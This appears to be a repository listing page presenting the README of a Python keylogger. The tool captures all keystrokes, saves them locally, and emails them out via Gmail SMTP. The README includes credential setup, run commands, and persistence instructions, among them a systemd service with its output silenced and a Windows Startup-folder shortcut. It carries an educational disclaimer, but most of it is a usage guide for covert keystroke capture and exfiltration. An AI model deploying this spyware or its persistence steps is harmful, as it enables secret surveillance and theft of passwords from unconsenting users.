SagarBiswas-MultiHAT/A-Pythonic-Keylogger
소개
Lightweight Python keylogger featuring real-time keystroke interception, instant file backup, and automated SMTP email dispatch with 3x retry logic. Includes ESC-key log sanitization and dual OS autostart persistence guides for Linux systemd and Windows.
생산성 및 자동화What you can do
- Keystroke Logging: Captures all keystrokes, including special keys like Enter, Backspace, and Space.
- Email Notification: Sends the logged keystrokes to a specified email address.
- Retry Mechanism: Retries email sending up to 3 times in case of failures.
- Log Management: Clears logs after the Esc session-ending flow runs.
측정된 스타 증가
- in 24h
- 0
- in 7 days
- 0
- in 15 days
- 0
- in 1 month
- 기록 수집 중
서로 겹치는 기간의 순증가량이며 일별 합계가 아닙니다. 측정값이 없으면 비워 둡니다. 스타는 관심도를 나타내며 품질을 보장하지 않습니다.
README.md
OriginalKeylogger Script
Educational / authorized-use notice: This project demonstrates keyboard event capture, local buffering, and email delivery in Python. Run it only on systems you own or have explicit permission to test.
This repository contains a Python-based keylogger script that records keystrokes to a local file and can send the collected log by email. It includes retry handling for email delivery, local log management, and startup examples for Linux and Windows.
Architecture Overview
Read this diagram from top to bottom. It follows the same layers used by keylogger.py: launch, imports and global state, main(), key capture, Esc detection, email sending, and cleanup/restart.

Function Map
| Function | Plain-language role | Technical behavior |
|---|---|---|
main() |
Starts the program and keeps it running | Loads keylog.txt if present, starts a Listener, waits for it to stop, sleeps 5 seconds, then starts another listener |
on_press(key) |
Records each key press | Adds printable characters or special-key names to log_content, then appends the current full buffer to keylog.txt |
on_release(key) |
Watches for the session-ending key | When Esc is released, calls send_email(), clears memory and file logs, and returns False to stop the current listener |
send_email(log_content) |
Sends the captured text by email | Builds a MIME email, connects to SMTP with STARTTLS, logs in, sends the message, and retries up to 3 times |
Important Design Notes
Escends the current listener session, but the currentmain()loop starts listening again after 5 seconds.keylog.txtis relative to the current working directory, so its location can change depending on how the script is launched.- The file write in
on_press()appends the entire in-memory log every time, not just the newest key. - Email credentials are stored directly in source unless you replace them with a safer configuration method.
- After
Esc, local logs are cleared even if email delivery was not confirmed after the final retry.
Features
- Keystroke Logging: Captures all keystrokes, including special keys like
Enter,Backspace, andSpace. - Email Notification: Sends the logged keystrokes to a specified email address.
- Retry Mechanism: Retries email sending up to 3 times in case of failures.
- Log Management: Clears logs after the
Escsession-ending flow runs. - Session Restart: Restarts the listener after a 5-second pause because
main()runs in an infinite loop. - Automatic Startup: Instructions included for setting up the script to run automatically at system startup on Linux and Windows.
Prerequisites
Python 3.x
Required Python libraries:
pip install pynputA Gmail account with app-specific password if 2-Step Verification is enabled. Refer to the Google App Passwords Guide to create one.
Configuration
Update the following variables in the script with your email credentials:
EMAIL_ADDRESS = '[email protected]'
EMAIL_PASSWORD = 'your-app-password'
SMTP_SERVER = 'smtp.gmail.com'
SMTP_PORT = 587
Usage
Running the Script
Run the script in your terminal:
python3 keylogger.py
Ending the Current Listener Session
Press Esc to send the currently collected log, clear keylog.txt, and stop the active listener session.
Because main() contains an infinite loop, the script starts listening again after 5 seconds. To fully stop the program, stop the terminal process or stop/disable the service that launched it.
Automatic Startup Setup
Linux (Using Systemd)
Create a systemd service file:
sudo nano /etc/systemd/system/keylogger.serviceAdd the following content:
[Unit] Description=Keylogger Script After=multi-user.target [Service] ExecStart=/usr/bin/python3 /path/to/keylogger.py WorkingDirectory=/path/to StandardOutput=null StandardError=null Restart=always [Install] WantedBy=multi-user.targetReplace
/path/to/keylogger.pywith the full path to your script.Reload systemd and enable the service:
sudo systemctl daemon-reload sudo systemctl enable keylogger.service sudo systemctl start keylogger.serviceVerify the service is running:
sudo systemctl status keylogger.service
Windows
Press
Win + R, typeshell:startup, then press Enter.Create a shortcut in the Startup folder with the following target:
C:\Python39\python.exe C:\path\to\keylogger.pyThe script will run automatically on login.
Security Notice
This script is for educational purposes only. Unauthorized use of keyloggers is illegal and unethical. Use it responsibly and only on systems where you have explicit permission.
Disclaimer
The author is not responsible for any misuse of this script. Always use it in compliance with applicable laws and regulations.
Support MultiHAT Open-Source
If you find this project useful in your workflow, development, or security research, consider supporting SagarBiswas-MultiHAT in its ongoing maintenance and future updates (supports both One-Time and Monthly backing):
관련 프로젝트 살펴보기
불러오는 중…